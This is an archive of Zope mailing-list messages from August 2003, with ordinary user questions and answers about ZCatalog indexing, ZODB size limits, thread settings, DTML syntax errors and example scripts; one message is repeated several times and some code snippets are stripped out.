From sebastien.yapo@free.fr Fri Aug 29 15:31:39 2003 From: sebastien.yapo@free.fr (=?iso-8859-1?Q?Yapo_S=E9bastien?=) Date: Fri, 29 Aug 2003 16:31:39 +0200 Subject: [Zope] CatalogAware Message-ID: <001201c36e3a$451a0ec0$8701a8c0@pad031> This is a multi-part message in MIME format. ------=_NextPart_000_000F_01C36E4B.05B8B720 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi ! I use objects from a class which inherits from CatalogAware. The objects index themselves into the ZCatalog but I get strange results = when I try to search in this ZCatalog... The problem is solved after = reindexing the object via the reindex_object() method but this works = only for manage_edit ... I can't index my object properly in the = manage_add method (I get the same problem) Newly indexed objects seem to be added to the ZCatalog with the indexes = from the previous cataloged object (or something like that) Is there a bug I should be 'awared' to or am I doing something the wrong = way ? SY ------=_NextPart_000_000F_01C36E4B.05B8B720 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi !
 
I use objects from a class which = inherits from=20 CatalogAware.
The objects index themselves into the = ZCatalog but=20 I get strange results when I try to search in this ZCatalog... The = problem is=20 solved after reindexing the object via the reindex_object() method but = this=20 works only for manage_edit ... I can't index my object properly in the=20 manage_add method (I get the same problem)
Newly indexed objects seem to be = added to the=20 ZCatalog with the indexes from the previous cataloged object (or = something like=20 that)
 
Is there a bug I should be 'awared' to = or am I=20 doing something the wrong way ?
 
       =20 SY
------=_NextPart_000_000F_01C36E4B.05B8B720-- From sebastien.yapo@free.fr Fri Aug 29 15:31:39 2003 From: sebastien.yapo@free.fr (=?iso-8859-1?Q?Yapo_S=E9bastien?=) Date: Fri, 29 Aug 2003 16:31:39 +0200 Subject: [Zope] CatalogAware Message-ID: <001201c36e3a$451a0ec0$8701a8c0@pad031> This is a multi-part message in MIME format. ------=_NextPart_000_000F_01C36E4B.05B8B720 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi ! I use objects from a class which inherits from CatalogAware. The objects index themselves into the ZCatalog but I get strange results = when I try to search in this ZCatalog... The problem is solved after = reindexing the object via the reindex_object() method but this works = only for manage_edit ... I can't index my object properly in the = manage_add method (I get the same problem) Newly indexed objects seem to be added to the ZCatalog with the indexes = from the previous cataloged object (or something like that) Is there a bug I should be 'awared' to or am I doing something the wrong = way ? SY ------=_NextPart_000_000F_01C36E4B.05B8B720 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi !
 
I use objects from a class which = inherits from=20 CatalogAware.
The objects index themselves into the = ZCatalog but=20 I get strange results when I try to search in this ZCatalog... The = problem is=20 solved after reindexing the object via the reindex_object() method but = this=20 works only for manage_edit ... I can't index my object properly in the=20 manage_add method (I get the same problem)
Newly indexed objects seem to be = added to the=20 ZCatalog with the indexes from the previous cataloged object (or = something like=20 that)
 
Is there a bug I should be 'awared' to = or am I=20 doing something the wrong way ?
 
       =20 SY
------=_NextPart_000_000F_01C36E4B.05B8B720-- From sebastien.yapo@free.fr Fri Aug 29 15:31:39 2003 From: sebastien.yapo@free.fr (=?iso-8859-1?Q?Yapo_S=E9bastien?=) Date: Fri, 29 Aug 2003 16:31:39 +0200 Subject: [Zope] CatalogAware Message-ID: <001201c36e3a$451a0ec0$8701a8c0@pad031> This is a multi-part message in MIME format. ------=_NextPart_000_000F_01C36E4B.05B8B720 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi ! I use objects from a class which inherits from CatalogAware. The objects index themselves into the ZCatalog but I get strange results = when I try to search in this ZCatalog... The problem is solved after = reindexing the object via the reindex_object() method but this works = only for manage_edit ... I can't index my object properly in the = manage_add method (I get the same problem) Newly indexed objects seem to be added to the ZCatalog with the indexes = from the previous cataloged object (or something like that) Is there a bug I should be 'awared' to or am I doing something the wrong = way ? SY ------=_NextPart_000_000F_01C36E4B.05B8B720 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi !
 
I use objects from a class which = inherits from=20 CatalogAware.
The objects index themselves into the = ZCatalog but=20 I get strange results when I try to search in this ZCatalog... The = problem is=20 solved after reindexing the object via the reindex_object() method but = this=20 works only for manage_edit ... I can't index my object properly in the=20 manage_add method (I get the same problem)
Newly indexed objects seem to be = added to the=20 ZCatalog with the indexes from the previous cataloged object (or = something like=20 that)
 
Is there a bug I should be 'awared' to = or am I=20 doing something the wrong way ?
 
       =20 SY
------=_NextPart_000_000F_01C36E4B.05B8B720-- From sebastien.yapo@free.fr Fri Aug 29 15:31:39 2003 From: sebastien.yapo@free.fr (=?iso-8859-1?Q?Yapo_S=E9bastien?=) Date: Fri, 29 Aug 2003 16:31:39 +0200 Subject: [Zope] CatalogAware Message-ID: <001201c36e3a$451a0ec0$8701a8c0@pad031> This is a multi-part message in MIME format. ------=_NextPart_000_000F_01C36E4B.05B8B720 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi ! I use objects from a class which inherits from CatalogAware. The objects index themselves into the ZCatalog but I get strange results = when I try to search in this ZCatalog... The problem is solved after = reindexing the object via the reindex_object() method but this works = only for manage_edit ... I can't index my object properly in the = manage_add method (I get the same problem) Newly indexed objects seem to be added to the ZCatalog with the indexes = from the previous cataloged object (or something like that) Is there a bug I should be 'awared' to or am I doing something the wrong = way ? SY ------=_NextPart_000_000F_01C36E4B.05B8B720 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi !
 
I use objects from a class which = inherits from=20 CatalogAware.
The objects index themselves into the = ZCatalog but=20 I get strange results when I try to search in this ZCatalog... The = problem is=20 solved after reindexing the object via the reindex_object() method but = this=20 works only for manage_edit ... I can't index my object properly in the=20 manage_add method (I get the same problem)
Newly indexed objects seem to be = added to the=20 ZCatalog with the indexes from the previous cataloged object (or = something like=20 that)
 
Is there a bug I should be 'awared' to = or am I=20 doing something the wrong way ?
 
       =20 SY
------=_NextPart_000_000F_01C36E4B.05B8B720-- From peter@sabaini.at Fri Aug 1 00:11:59 2003 From: peter@sabaini.at (Peter Sabaini) Date: Fri, 01 Aug 2003 01:11:59 +0200 Subject: [Zope] Performance requirements and ZEO In-Reply-To: <20030731222021.GL1066@slinkp.com> References: <47842.199.67.140.20.1059686619.squirrel@webmail.mahnke.net> <20030731222021.GL1066@slinkp.com> Message-ID: <3F29A23F.6000003@sabaini.at> This is a cryptographically signed message in MIME format. --------------ms030808030203000402020803 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Paul Winkler wrote: > one more thing... > > On Thu, Jul 31, 2003 at 04:23:39PM -0500, BZ wrote: > >>- Up your zope threads (I run at 10) and cache size (10,000) > > > If you boost the zope threads you probably also want to > boost the number of zodb connections, per the Zope Book: > http://www.zope.org/Documentation/Books/ZopeBook/2_6Edition/MaintainingZope.stx > > "...the number of database connections should always be higher than the > number of ZServer threads by a few..." [snip] I'd like to add that this only applies if you are mainly serving from the ZODB; if your data comes from an external source, for instance an RDBMS, it might make sense to leave the ZODB connections at the default and only increase the number of ZServer threads since they aren't going to hit the ZODB much anyway. - peter. --------------ms030808030203000402020803 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIJcjCC AxcwggKAoAMCAQICAwpnaTANBgkqhkiG9w0BAQQFADCBkjELMAkGA1UEBhMCWkExFTATBgNV BAgTDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUx HTAbBgNVBAsTFENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVl bWFpbCBSU0EgMjAwMC44LjMwMB4XDTAzMDcyMzE5MjgxOVoXDTA0MDcyMjE5MjgxOVowWzEQ MA4GA1UEBBMHU2FiYWluaTEOMAwGA1UEKhMFUGV0ZXIxFjAUBgNVBAMTDVBldGVyIFNhYmFp bmkxHzAdBgkqhkiG9w0BCQEWEHBldGVyQHNhYmFpbmkuYXQwggEiMA0GCSqGSIb3DQEBAQUA A4IBDwAwggEKAoIBAQCr0xjISHJ6IGiCkOZMOQCuFQBZ4hA+0Krl9//Grz2wCYSg9dBfV5oP 7N56hIKrz3BhaAAGhsH6cPMNq8fIIyMIgxRVmT2bGMpG9mPsWQhhBdMCwn/x8SpbsKuIBjBd EbPaRYey+9z2CKqZdyAxpuiRmZkFCfdrVVZH6MYQcVsJYonEyoAx+vHSYv31ThnJCfeOnQOD XK7Ytk2sTZkAbj2ywdrvPLU/TPG6k/AKQ3m1K/vETUlgOPIHav/5/DICKKRxKJrj0/9wyJL5 hQAuLOygvoSaNN/bsuf6IDy4qwNdgWC/ahqI3DIUjs+n+NaHjCKj2FoCWLMkks+kK02c5TAx AgMBAAGjLTArMBsGA1UdEQQUMBKBEHBldGVyQHNhYmFpbmkuYXQwDAYDVR0TAQH/BAIwADAN BgkqhkiG9w0BAQQFAAOBgQAluQr2B6FUMAgMhTL58g17wTJx5Ps+0yBROpLSzYJTvfPaX/2X +wTC8HwBZj0iaABlmdxVJy6iH9RAI57vMjXw5S6DambkX03FIsADqXMH0bpmXrZtj9KwBUlN Gx8BchKj7jEWxuBiAGvq0C+HOjoNA6P6dIBKB8MEUk6ObvFWCDCCAxcwggKAoAMCAQICAwpn aTANBgkqhkiG9w0BAQQFADCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4gQ2Fw ZTESMBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNVBAsTFENlcnRp ZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVlbWFpbCBSU0EgMjAwMC44 LjMwMB4XDTAzMDcyMzE5MjgxOVoXDTA0MDcyMjE5MjgxOVowWzEQMA4GA1UEBBMHU2FiYWlu aTEOMAwGA1UEKhMFUGV0ZXIxFjAUBgNVBAMTDVBldGVyIFNhYmFpbmkxHzAdBgkqhkiG9w0B CQEWEHBldGVyQHNhYmFpbmkuYXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCr 0xjISHJ6IGiCkOZMOQCuFQBZ4hA+0Krl9//Grz2wCYSg9dBfV5oP7N56hIKrz3BhaAAGhsH6 cPMNq8fIIyMIgxRVmT2bGMpG9mPsWQhhBdMCwn/x8SpbsKuIBjBdEbPaRYey+9z2CKqZdyAx puiRmZkFCfdrVVZH6MYQcVsJYonEyoAx+vHSYv31ThnJCfeOnQODXK7Ytk2sTZkAbj2ywdrv PLU/TPG6k/AKQ3m1K/vETUlgOPIHav/5/DICKKRxKJrj0/9wyJL5hQAuLOygvoSaNN/bsuf6 IDy4qwNdgWC/ahqI3DIUjs+n+NaHjCKj2FoCWLMkks+kK02c5TAxAgMBAAGjLTArMBsGA1Ud EQQUMBKBEHBldGVyQHNhYmFpbmkuYXQwDAYDVR0TAQH/BAIwADANBgkqhkiG9w0BAQQFAAOB gQAluQr2B6FUMAgMhTL58g17wTJx5Ps+0yBROpLSzYJTvfPaX/2X+wTC8HwBZj0iaABlmdxV Jy6iH9RAI57vMjXw5S6DambkX03FIsADqXMH0bpmXrZtj9KwBUlNGx8BchKj7jEWxuBiAGvq 0C+HOjoNA6P6dIBKB8MEUk6ObvFWCDCCAzgwggKhoAMCAQICEGZFcrfMdPXPY3ZFhNAukQEw DQYJKoZIhvcNAQEEBQAwgdExCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUx EjAQBgNVBAcTCUNhcGUgVG93bjEaMBgGA1UEChMRVGhhd3RlIENvbnN1bHRpbmcxKDAmBgNV BAsTH0NlcnRpZmljYXRpb24gU2VydmljZXMgRGl2aXNpb24xJDAiBgNVBAMTG1RoYXd0ZSBQ ZXJzb25hbCBGcmVlbWFpbCBDQTErMCkGCSqGSIb3DQEJARYccGVyc29uYWwtZnJlZW1haWxA dGhhd3RlLmNvbTAeFw0wMDA4MzAwMDAwMDBaFw0wNDA4MjcyMzU5NTlaMIGSMQswCQYDVQQG EwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRvd24xDzANBgNV BAoTBlRoYXd0ZTEdMBsGA1UECxMUQ2VydGlmaWNhdGUgU2VydmljZXMxKDAmBgNVBAMTH1Bl cnNvbmFsIEZyZWVtYWlsIFJTQSAyMDAwLjguMzAwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJ AoGBAN4zMqZjxwklRT7SbngnZ4HF2ogZgpcO40QpimM1Km1wPPrcrvfudG8wvDOQf/k0caCj bZjxw0+iZdsN+kvx1t1hpfmFzVWaNRqdknWoJ67Ycvm6AvbXsJHeHOmr4BgDqHxDQlBRh4M8 8Dm0m1SKE4f/s5udSWYALQmJ7JRr6aFpAgMBAAGjTjBMMCkGA1UdEQQiMCCkHjAcMRowGAYD VQQDExFQcml2YXRlTGFiZWwxLTI5NzASBgNVHRMBAf8ECDAGAQH/AgEAMAsGA1UdDwQEAwIB BjANBgkqhkiG9w0BAQQFAAOBgQAxsUtHXfkBceX1U2xdedY9mMAmE2KBIqcS+CKV6BtJtyd7 BDm6/ObyJOuR+r3sDSo491BVqGz3Da1MG7wD9LXrokefbKIMWI0xQgkRbLAaadErErJAXWr5 edDqLiXdiuT82w0fnQLzWtvKPPZE6iZph39Ins6ln+eE2MliYq0FxjGCA9UwggPRAgEBMIGa MIGSMQswCQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBl IFRvd24xDzANBgNVBAoTBlRoYXd0ZTEdMBsGA1UECxMUQ2VydGlmaWNhdGUgU2VydmljZXMx KDAmBgNVBAMTH1BlcnNvbmFsIEZyZWVtYWlsIFJTQSAyMDAwLjguMzACAwpnaTAJBgUrDgMC GgUAoIICDzAYBgkqhkiG9w0BCQMxCwYJKoZIhvcNAQcBMBwGCSqGSIb3DQEJBTEPFw0wMzA3 MzEyMzExNTlaMCMGCSqGSIb3DQEJBDEWBBSlhQiNoFrXjPhUUliCesXjSQ/BDzBSBgkqhkiG 9w0BCQ8xRTBDMAoGCCqGSIb3DQMHMA4GCCqGSIb3DQMCAgIAgDANBggqhkiG9w0DAgIBQDAH BgUrDgMCBzANBggqhkiG9w0DAgIBKDCBqwYJKwYBBAGCNxAEMYGdMIGaMIGSMQswCQYDVQQG EwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRvd24xDzANBgNV BAoTBlRoYXd0ZTEdMBsGA1UECxMUQ2VydGlmaWNhdGUgU2VydmljZXMxKDAmBgNVBAMTH1Bl cnNvbmFsIEZyZWVtYWlsIFJTQSAyMDAwLjguMzACAwpnaTCBrQYLKoZIhvcNAQkQAgsxgZ2g gZowgZIxCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNh cGUgVG93bjEPMA0GA1UEChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNl czEoMCYGA1UEAxMfUGVyc29uYWwgRnJlZW1haWwgUlNBIDIwMDAuOC4zMAIDCmdpMA0GCSqG SIb3DQEBAQUABIIBAI0AMvfvNDe4UC1Kql5HsYUYiDHYhoMfF2IhKWzD8kXEHHmdwLJoNnKC 7OvKhKoAfq8shxBPQXMWbF/91nRDNN6f88loqXczqJQP664ajAVhqxISKkRX3ZpbocyPujNX bSmbOMAcKAv6io033DuMifBXd1SCF9AKpfAdQthH2Pfl7yoYbjWlXE6xVbORTV1vGFznOK6s g8SLdY/akvTy3DLLk9L9wOtrNKmwI+XXexz4nvPZmNdNZKRtWu4N44D9cOAQULjD5fCpwA7R 6Fhsiz7aZoybTMh2MG9jlaZQaxiTbXgvpLRF2pESyt0ifjdp00dutid1Iq9BfiDUHlfNhNwA AAAAAAA= --------------ms030808030203000402020803-- From ashish.thapliyal@itpreneurs.com Fri Aug 1 05:04:38 2003 From: ashish.thapliyal@itpreneurs.com (Ashish Thapliyal) Date: Fri, 1 Aug 2003 09:34:38 +0530 Subject: [Zope] ZODB Size Limitation Message-ID: Hi all Is 2 GB the maximum size of ZODB !!!! ??? Any workaround to increase the size of ZODB?? Regards Ashish From Andreas Jung Fri Aug 1 05:08:32 2003 From: Andreas Jung (Andreas Jung) Date: Fri, 01 Aug 2003 06:08:32 +0200 Subject: [Zope] ZODB Size Limitation In-Reply-To: References: Message-ID: <2147483647.1059718112@[192.168.0.100]> This is a FAQ. You need to install Python with largefile support. Check the mailinglist archives or goggle it. -aj --On Freitag, 1. August 2003 9:34 Uhr +0530 Ashish Thapliyal wrote: > Hi all > > Is 2 GB the maximum size of ZODB !!!! ??? > Any workaround to increase the size of ZODB?? > > > Regards > Ashish > > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From sesamoid@ntlworld.com Fri Aug 1 06:07:30 2003 From: sesamoid@ntlworld.com (Bun Topping) Date: 01 Aug 2003 06:07:30 +0100 Subject: [Zope] NameError Problem with FileLibrary example. Message-ID: <1059714449.20717.668.camel@trout.kintore.net> --=-Wi/USPCy3oEuVdI4L4Q7 Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi, I'm a complete Zope newie here, I've scanned the archives and I can't see a useful pointer to help me completely explain/solve my problem, it could be one of those 'so obvious, no one's had to ask before...' things. I've just installed Zope 2.7.0-b1, python 2.3 and CMF 1.3.1. By way of learning and testing the installation I've looked at the 4 examples supplied. The FileLibrary example doesn't work and I get the following in the error log when I try to upload a file (any file, big, small, text, binary etc.): Module ZPublisher.Publish, line 98, in publish * Module ZPublisher.mapply, line 88, in mapply * Module ZPublisher.Publish, line 39, in call_object * Module Shared.DC.Scripts.Bindings, line 252, in __call__ * Module Shared.DC.Scripts.Bindings, line 283, in _bindAndExec * Module Products.PythonScripts.PythonScript, line 320, in _exec * Module Script (Python), line 6, in addFile Line 6 * Module Script (Python), line 6, in LimitExceeded Line 6 NameError: global name '__name__' is not defined I did read some references to problems with imported ZClasses but, at this early stage on the learning curve, that didn't really explain much to me. Can anyone suggest what is happening here? In particular, is this problem a symptom of a SNAFU installation or is it just the example that is SNAFU? If it's the example then I could learn a lot by just knowing how to fix it. OTOH, if the installation is stuffed, perhaps the best option is to start again from scratch. Thanks. -- Mark --=-Wi/USPCy3oEuVdI4L4Q7 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit Hi,

I'm a complete Zope newie here, I've scanned the archives and I can't see a useful pointer to help me completely explain/solve my problem, it could be one of those 'so obvious, no one's had to ask before...' things.

I've just installed Zope 2.7.0-b1, python 2.3 and CMF 1.3.1.  By way of learning and testing the installation I've looked at the 4 examples supplied. The FileLibrary example doesn't work and I get the following in the error log when I try to upload a file (any file, big, small, text, binary etc.):

Module ZPublisher.Publish, line 98, in publish
  • Module ZPublisher.mapply, line 88, in mapply
  • Module ZPublisher.Publish, line 39, in call_object
  • Module Shared.DC.Scripts.Bindings, line 252, in __call__
  • Module Shared.DC.Scripts.Bindings, line 283, in _bindAndExec
  • Module Products.PythonScripts.PythonScript, line 320, in _exec
  • Module Script (Python), line 6, in addFile
    <PythonScript at /Examples/FileLibrary/addFile used for /Examples/FileLibrary/Files>
    Line 6
  • Module Script (Python), line 6, in LimitExceeded
    <PythonScript at /Examples/FileLibrary/addFile used for /Examples/FileLibrary/Files>
    Line 6
NameError: global name '__name__' is not defined


I did read some references to problems with imported ZClasses but, at this early stage on the learning curve, that didn't really explain much to me. Can anyone suggest what is happening here? In particular, is this problem a symptom of a SNAFU installation or is it just the example that is SNAFU? If it's the example then I could learn a lot by just knowing how to fix it. OTOH, if the installation is stuffed, perhaps the best option is to start again from scratch.

Thanks.
--
Mark <sesamoid@ntlworld.com>
--=-Wi/USPCy3oEuVdI4L4Q7-- From jamie@audible.transient.net Fri Aug 1 06:30:43 2003 From: jamie@audible.transient.net (Jamie Heilman) Date: Thu, 31 Jul 2003 22:30:43 -0700 Subject: [Zope] NameError Problem with FileLibrary example. In-Reply-To: <1059714449.20717.668.camel@trout.kintore.net> References: <1059714449.20717.668.camel@trout.kintore.net> Message-ID: <20030801053043.GL382@audible.transient.net> Bun Topping wrote: > I've just installed Zope 2.7.0-b1, python 2.3 and CMF 1.3.1. Hmmm. > * Module Script (Python), line 6, in LimitExceeded > /Examples/FileLibrary/Files> > Line 6 > > NameError: global name '__name__' is not defined Hmmm. That code was tested with python 2.2, but not 2.3, its possible defining new classes in Script objects doesn't fly like it did in 2.2. I get the feeling zope with python 2.3 is still pretty rough around the edges. -- Jamie Heilman http://audible.transient.net/~jamie/ "Most people wouldn't know music if it came up and bit them on the ass." -Frank Zappa From zope@thewebsons.com Fri Aug 1 10:49:18 2003 From: zope@thewebsons.com (beno) Date: Fri, 01 Aug 2003 05:49:18 -0400 Subject: [Zope] When Inheritance ISN'T Such A Good Idea... Message-ID: <5.1.0.14.0.20030801054234.02385548@mail.web.vi> Hi; Search engines don't like Web sites with deep directory structures. I use such structure to develop my Web sites to take advantage of inheritance. I keep all my Python scripts in a separate directory as well as the basic content of each page. This, of course, makes things neat and tidy in my Zope. So I don't want to simply throw everything in the root dir! Is there a way to call scripts and Template Pages from other pages such that it renders as a simple URL without deep directories (e.g., http://mysite.com/main.html ) or frames? TIA, beno From johanc@easypublisher.com Fri Aug 1 11:29:37 2003 From: johanc@easypublisher.com (Johan Carlsson) Date: Fri, 01 Aug 2003 12:29:37 +0200 Subject: [Zope] OT: When Inheritance ISN'T Such A Good Idea... In-Reply-To: <5.1.0.14.0.20030801054234.02385548@mail.web.vi> References: <5.1.0.14.0.20030801054234.02385548@mail.web.vi> Message-ID: <3F2A4111.6020601@easypublisher.com> beno wrote: > Search engines don't like Web sites with deep directory structures. Why do they care about the deep of a directory structure? Limites in the fields storing URL or what? I that case how much, and which search engines? Do you have any references? -- Johan Carlsson Tel: + 46 8 31 24 94 Colliberty Mob: + 46 70 558 25 24 Torsgatan 72 Email: johanc@easypublisher.com SE-113 37 STOCKHOLM From lsh@wo.cz Fri Aug 1 13:18:32 2003 From: lsh@wo.cz (Jaroslav Lukesh) Date: Fri, 1 Aug 2003 14:18:32 +0200 Subject: [Zope] just testing, please ignore Message-ID: <3F2692A800077AEE@stateless2.tiscali.cz> (added by postmaster@mail.tiscali.cz) From borja.prieto@alanta.info Fri Aug 1 13:22:19 2003 From: borja.prieto@alanta.info (Borja Prieto) Date: Fri, 1 Aug 2003 14:22:19 +0200 Subject: [Zope] Problem with dtml-if sequence-start Message-ID: I have a problem with the following code, wich is a DTML methos that processes a form: (First, I check if the user has completed the txtCertificado field) (Then, I lookup in a MySQL table with the method BuscaCertificado if a record with the value txtCertificado does already exists) (if it is found, return with an error message) (and if not, go to IC page. This is the part that does not work) Hi all, I am trying to learn and if possible migrate some of my office apps to zope. The trouble is somewhere here From Index_html page I am using a input form to get the login, password so that it can authenticated of the currently internal central auth system. The form is posted to login_verify having content as follows. The Authenticate_user is a ZSQL method taking user ID as parameter and is supposed to return password, name and access level of that user. Auth success Auth Failed Unfortunately I dot get Auth Sucess but the redirect never happens. I tried earlier this using dtml-call instead of dtml-in but soon I realized that dtml-call does not return any values I need the output of password, access level so that I can set the apporiarte permissons on the respective page. Please advise. Regards From michael@bleijerveld.nl Fri Aug 1 14:44:07 2003 From: michael@bleijerveld.nl (Michael Bleijerveld) Date: Fri, 1 Aug 2003 15:44:07 +0200 Subject: [Zope] request.set sequence value References: <007401c352b0$847863f0$9700000a@MICHAEL> <3F293997.5020903@nipltd.com> Message-ID: <00ca01c35832$fb051810$9700000a@MICHAEL> Hello Chris, Here are the statements which generates an error. )">
This is the errorlog. Traceback (innermost last): a.. Module ZPublisher.Publish, line 98, in publish b.. Module ZPublisher.mapply, line 88, in mapply c.. Module ZPublisher.Publish, line 39, in call_object d.. Module OFS.DTMLMethod, line 258, in manage_edit e.. Module DocumentTemplate.DT_String, line 320, in munge f.. Module DocumentTemplate.DT_String, line 340, in cook g.. Module DocumentTemplate.DT_String, line 170, in parse h.. Module DocumentTemplate.DT_String, line 223, in parse_block i.. Module DocumentTemplate.DT_String, line 170, in parse j.. Module DocumentTemplate.DT_String, line 223, in parse_block k.. Module DocumentTemplate.DT_String, line 170, in parse l.. Module DocumentTemplate.DT_String, line 223, in parse_block m.. Module DocumentTemplate.DT_String, line 170, in parse n.. Module DocumentTemplate.DT_String, line 223, in parse_block o.. Module DocumentTemplate.DT_String, line 174, in parse p.. Module DocumentTemplate.DT_Var, line 331, in __init__ q.. Module DocumentTemplate.DT_Util, line 278, in name_param __traceback_info__: ({'expr': "REQUEST.set('query_start',)"}, 'call', 1, 'name') r.. Module RestrictedPython.Eval, line 51, in __init__ s.. Module RestrictedPython.Eval, line 78, in prepUnrestrictedCode File "", line 1
REQUEST.set('query_start',)
^
SyntaxError: invalid syntax Regards, Michael ----- Original Message ----- From: "Chris Withers" To: "Michael" Cc: Sent: Thursday, July 31, 2003 5:45 PM Subject: Re: [Zope] request.set sequence value > Michael wrote: > > Hi, > > > > When using > next-sequence-start-number>)"> I receive the following error. > > > > , for tag > next-sequence-start-number>)"> > > Might help if you actually included the error... > > ...and stopped posting in HTML ;-) > > Chris > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > > From michael@bleijerveld.nl Fri Aug 1 15:03:57 2003 From: michael@bleijerveld.nl (Michael Bleijerveld) Date: Fri, 1 Aug 2003 16:03:57 +0200 Subject: [Zope] request.set sequence value References: <007401c352b0$847863f0$9700000a@MICHAEL> <3F293997.5020903@nipltd.com> <00ca01c35832$fb051810$9700000a@MICHAEL> <3F2A7211.BBEBCC99@eurodata.de> Message-ID: <015601c35835$c06aedd0$9700000a@MICHAEL> Hi Ulla, Yes, the real code contains the closing-bracket. Regards. Michael ----- Original Message ----- From: "Ulla Theiss" To: "Michael Bleijerveld" Sent: Friday, August 01, 2003 3:58 PM Subject: Re: [Zope] request.set sequence value > Hello Michael, > > do you have the closing-bracket the form-tag in your real code? > > Regards, > Ulla. > > Michael Bleijerveld schrieb: > > > > Hello Chris, > > > > Here are the statements which generates an error. > > > > > > > next-sequence-start-number>)"> > >
> > > style="font-family:Arial; color:white; background-color:rgb(0,153,255);"> > >
>
> > > > This is the errorlog. > > Traceback (innermost last): > > > > a.. Module ZPublisher.Publish, line 98, in publish > > b.. Module ZPublisher.mapply, line 88, in mapply > > c.. Module ZPublisher.Publish, line 39, in call_object > > d.. Module OFS.DTMLMethod, line 258, in manage_edit > > e.. Module DocumentTemplate.DT_String, line 320, in munge > > f.. Module DocumentTemplate.DT_String, line 340, in cook > > g.. Module DocumentTemplate.DT_String, line 170, in parse > > h.. Module DocumentTemplate.DT_String, line 223, in parse_block > > i.. Module DocumentTemplate.DT_String, line 170, in parse > > j.. Module DocumentTemplate.DT_String, line 223, in parse_block > > k.. Module DocumentTemplate.DT_String, line 170, in parse > > l.. Module DocumentTemplate.DT_String, line 223, in parse_block > > m.. Module DocumentTemplate.DT_String, line 170, in parse > > n.. Module DocumentTemplate.DT_String, line 223, in parse_block > > o.. Module DocumentTemplate.DT_String, line 174, in parse > > p.. Module DocumentTemplate.DT_Var, line 331, in __init__ > > q.. Module DocumentTemplate.DT_Util, line 278, in name_param > > __traceback_info__: ({'expr': "REQUEST.set('query_start', > next-sequence-start-number>)"}, 'call', 1, 'name') > > r.. Module RestrictedPython.Eval, line 51, in __init__ > > s.. Module RestrictedPython.Eval, line 78, in prepUnrestrictedCode > > File "", line 1
REQUEST.set('query_start', > next-sequence-start-number>)
^
SyntaxError: invalid syntax > > > > Regards, > > > > Michael > > > > ----- Original Message ----- > > From: "Chris Withers" > > To: "Michael" > > Cc: > > Sent: Thursday, July 31, 2003 5:45 PM > > Subject: Re: [Zope] request.set sequence value > > > > > Michael wrote: > > > > Hi, > > > > > > > > When using > > > next-sequence-start-number>)"> I receive the following error. > > > > > > > > , for tag > > > next-sequence-start-number>)"> > > > > > > Might help if you actually included the error... > > > > > > ...and stopped posting in HTML ;-) > > > > > > Chris > > > > > > > > > _______________________________________________ > > > Zope maillist - Zope@zope.org > > > http://mail.zope.org/mailman/listinfo/zope > > > ** No cross posts or HTML encoding! ** > > > (Related lists - > > > http://mail.zope.org/mailman/listinfo/zope-announce > > > http://mail.zope.org/mailman/listinfo/zope-dev ) > > > > > > > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://mail.zope.org/mailman/listinfo/zope > > ** No cross posts or HTML encoding! ** > > (Related lists - > > http://mail.zope.org/mailman/listinfo/zope-announce > > http://mail.zope.org/mailman/listinfo/zope-dev ) > > -- > Ulla Theiß eurodata GmbH & Co. KG > Grossblittersdorfer Str. 257-259 66119 Saarbrücken > Phone: +49 681 8808-773 Fax: +49 681 8808-800 > From jmv-lists@linux-ink.ru Fri Aug 1 15:15:46 2003 From: jmv-lists@linux-ink.ru (Eugene Morozov) Date: Fri, 1 Aug 2003 18:15:46 +0400 Subject: [Zope] Disappointed by VerboseSecurity Message-ID: <20030801141546.GA12522@linux-ink.ru> Hello! I've just installed VerboseSecurity product to resolve problems with my 